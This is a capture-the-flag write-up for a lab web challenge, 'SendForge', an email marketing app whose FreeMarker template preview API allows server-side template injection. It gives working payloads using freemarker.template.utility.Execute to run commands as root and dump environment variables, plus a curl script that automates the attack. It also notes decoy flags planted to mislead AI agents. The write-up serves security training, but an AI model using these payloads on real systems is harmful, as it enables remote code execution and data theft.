SendForge
SendForge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, freemarker_ssti_execute_builtin, process_env_disclosure, template_preview_abuse
Summary
Task: Email marketing platform with FreeMarker template editor allowing server-side template preview, SSTI vulnerability. Solution: Injected FreeMarker Execute payload via template preview API to achieve RCE and read flag from environment variables.
SendForge — HackAdvisor
Description
SendForge is an email marketing platform built by ForgeComm Technologies. It lets businesses design email campaigns, manage subscriber lists, and track delivery analytics. The platform features a rich template editor allowing users to create dynamic email templates with variable interpolation for personalized messaging. The goal is to explore the application's template rendering capabilities and find a way to read a flag file hidden on the server.
English summary: A Java/Spring Boot email marketing platform with a FreeMarker template editor. The template preview endpoint compiles and renders user-supplied templates without sandboxing, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution.
Credentials: user@test.com / password123
Analysis
The application is a Java/Spring Boot app (identified by JSESSIONID cookie) running behind nginx/1.25.5. Key findings:
- Decoy flags everywhere — HTML comments and hidden divs contain fake flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated scanners and AI agents - Template editor at
/templates/newexplicitly states it uses FreeMarker syntax - Preview API at
POST /api/templates/previewaccepts raw template body as JSON and returns rendered HTML - No sandboxing — FreeMarker's dangerous built-ins like
?new()are not restricted, allowing instantiation of arbitrary Java classes
The critical vulnerability is that the preview endpoint directly compiles user-supplied FreeMarker templates without any security restrictions, enabling the freemarker.template.utility.Execute class to be instantiated for OS command execution.
Solution
Step 1: Login and Discover Template Editor
Login with provided credentials and navigate to the Templates page:
POST /login
email=user@test.com&password=password123
The /templates page states: "Templates use FreeMarker syntax for dynamic content" with available variables like ${subscriber.firstName}, ${campaign.subject}, etc.
Step 2: Identify Preview Endpoint
The template editor at /templates/new contains JavaScript with a previewTemplate() function that sends:
http read-only • copy allowedPOST /api/templates/preview Content-Type: application/json {"body": "template_content"}
Step 3: Confirm SSTI
http read-only • copy allowedPOST /api/templates/preview Content-Type: application/json {"body": "${7*7}"}
Response: {"html":"49"} — arithmetic expression evaluated server-side, confirming SSTI.
Step 4: Achieve RCE via FreeMarker Execute
Used the classic FreeMarker SSTI payload leveraging freemarker.template.utility.Execute:
http read-only • copy allowedPOST /api/templates/preview Content-Type: application/json {"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}"}
Response: {"html":"uid=0(root) gid=0(root) groups=0(root)..."} — full RCE as root.
Step 5: Extract Flag from Environment
http read-only • copy allowedPOST /api/templates/preview Content-Type: application/json {"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}
Response contained: FLAG=FLAG{REDACTED}
Full Exploit (curl one-liner)
bash read-only • copy allowed#!/bin/bash # Login and get session SESSION=$(curl -s -c - -X POST 'https://TARGET/login' \ -d 'email=user@test.com&password=password123' | grep JSESSIONID | awk '{print $NF}') # Execute SSTI payload curl -s -X POST 'https://TARGET/api/templates/preview' \ -H 'Content-Type: application/json' \ -b "JSESSIONID=$SESSION" \ -d '{"body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"env\")}"}'